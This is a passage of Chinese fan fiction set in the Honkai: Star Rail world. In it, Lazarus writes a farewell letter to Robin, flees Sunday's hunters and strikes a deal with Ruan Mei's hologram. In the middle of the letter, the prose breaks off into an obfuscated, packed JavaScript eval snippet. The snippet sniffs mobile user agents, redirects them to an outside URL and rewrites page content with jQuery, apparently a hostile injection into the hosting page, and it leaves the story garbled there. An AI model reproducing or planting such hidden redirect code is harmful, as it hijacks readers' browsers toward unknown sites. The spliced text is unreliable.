8. 殉道者(第2页)

全息投影在空中展开匹诺康尼的命途光谱——代表同谐的湛蓝已被秩序的金色锁链绞成碎片。

“所以你要像驯化同谐鸽那样驯化整个星系?”

权杖突然释放能量,将我们身后的圣母像炸成齑粉。在纷扬的大理石粉尘中,他语调冷漠,我听起来却像头受伤的困兽嘶吼:“至少我让十七亿人不用在垃圾场刨食!至少知更鸟能活着在舞台唱歌而不是躺在裹尸袋里!”

蓝铃花藤蔓突然疯狂生长,将我们缠绕进带刺的茧房。在意识被秩序吞没前,我咬碎藏在齿间的星核碎片,让毁灭的烈焰席卷整个告解室

这是最后的仁慈,也是最终的背叛。

当救援队冲进废墟时,他们只会找到昏迷的家主,以及墙上用焦痕写成的真理:

美梦是最后的谎言

信纸是撕碎的星核检测报告,背面浸着医疗舱的消毒液。我用木质化左臂的树脂做胶水,将蓝铃花标本粘成边框,这是知更鸟十二岁生日时教我的手艺,如今每片花瓣都嵌着星核的裂痕。

“致知更鸟:

当你读到这封信时,我大概正被家族的猎犬舰追击。别担心,我偷走了歌斐木的曲率引擎密钥,他们的船连冥王星带都飞不出。”

树脂顺着指尖滴落,在"星期日"的称呼上凝成琥珀。机械义眼突然报警,显示追兵已突破小行星带。

“你总问我为什么不肯回家。现在告诉你答案:匹诺康尼的星空太干净了,干净得照不出真理的阴影。

记得小时候我们玩捉迷藏吗?我躲在圣像后的夹层,听着你们跑过整条回廊。如今整个星系都是我的

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15757102|174351||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

藏身夹层,而你们成了数光年外的捉人者。

告诉你哥,实验数据存在B-13区的旧天文台,密码是他第一次学会写我名字的日期。若他问起我的生死……”

爆炸气浪掀翻书桌前,我抹去最后半句颤抖的笔迹,换上冰冷的结论:

就说拉撒路死在那年蓝铃花凋零的黄昏。

爱你的

拉撒路”

知更鸟找到信时,正逢匹诺康尼的极光庆典。她站在我荒废的实验室里,光环将加密锁熔成滚烫的金水。

...姐姐的笔迹还是这么丑。

她摩挲着信纸上干涸的树脂,。全息投影在空中炸开,映出我提前录制的影像——背景是燃烧的告解室,半边面具被毁灭烈焰熏黑。

我调整着扭曲变声器,却掩不住喉咙里丰饶火种的杂音

“别费心破译坐标,这次连我自己都不知道目的地。还记得小时候玩的星际迷航游戏吗?这次我要通关隐藏结局……”

投影突然晃动,警报声刺穿虚数屏障,画面一变。画面边缘闪过星期日染血的绶带,他正率亲卫队撞开实验室的防爆门。我对着镜头比了个拙劣的鬼脸,这是二十年来第一次

我在ngC-1277的废弃矿洞醒来时,左半边身子已完全木质化。铜蛇杖插入岩壁,正将星核辐射转化为维生能量。

ngC-1277的矿洞被星核辐射染成幽绿色,岩壁上凝结的晶体像无数双窥视的眼睛。我动了动木质化的左臂,指尖渗出的树脂在冰冷的地面画出扭曲的轨迹。

铜蛇杖斜插在裂缝中,贪婪吮吸着辐射,将能量顺着杖身的螺纹导入我脊椎,木质化褪至左臂,这比匹诺康尼的医疗舱镇痛剂管用多了。

我掏出准备好的衣服换上。

束腰的宝石流苏扫过墙壁,我对着岩壁的金属反光整理衣领。宫廷风衬衫的蕾丝褶皱完美遮住锁骨下的星核疤痕,纯黑巫师帽压住天环和耳羽,面具的蛇纹在暗处泛着冷光。

贴身的长裤被过膝白色长靴包裹,金色的鞋尖和鞋跟踩在地上会发出清脆的声音。

这套装扮是从走私舰里抢来的,原本属于某个喜欢角色扮演的贵族少爷,现在成了我最好的伪装。

“滋滋——”

阮梅的全息投影从铜蛇杖顶端浮起。她今天换了身青瓷色旗袍,发簪上的虚数晶体比匹诺康尼的月亮还亮。

“这身戏服比你那脏兮兮的实验袍顺眼。”

阮梅的虚影拂过我的巫师帽檐,数据触须扫描着束腰上的宝石

“黑塔说你看上去像欢愉命途的戏剧演员。”

我旋身避开她的扫描,长靴碾碎一只机械甲虫:“天才俱乐部现在流行对成员穿搭评头论足?”

“只是好奇”她指尖凝聚出我的生物模型,木质化的左臂在投影中化作数据流,“能把星核当食物的人,却执着于人类审美——这种矛盾很有趣。”

铜蛇杖突然暴起,杖尖抵住她的虚影:“阮梅女士是来讨论时尚,还是讨论命途坍缩模型?”

“都有”她挥散生物模型,矿洞中浮现出模拟宇宙的草图,“黑塔想用你的模型重构虚数屏障,她想拉你入伙,做她的模拟宇宙。”

我扯开衬衫领口,露出心口跳动的星核矩阵:“告诉那个玩娃娃屋的,我要第七实验室的最高权限。”

阮梅的投影轻笑一声,指尖划过星核矩阵的表面。

“成交。”

她的身影消散前,矿洞深处传来机械运转的轰鸣

“对了”她的声音在空气中残留,“星期日派出的猎犬舰已经锁定这个星系,你还有……三十分钟。”

我戴上蛇纹面具,铜蛇杖从岩壁拔出,杖尖燃起幽蓝色的火焰。

“足够了。”

长靴踏过晶簇,清脆的脚步声在矿洞中回荡。

——星际迷航的隐藏结局,才刚刚开始。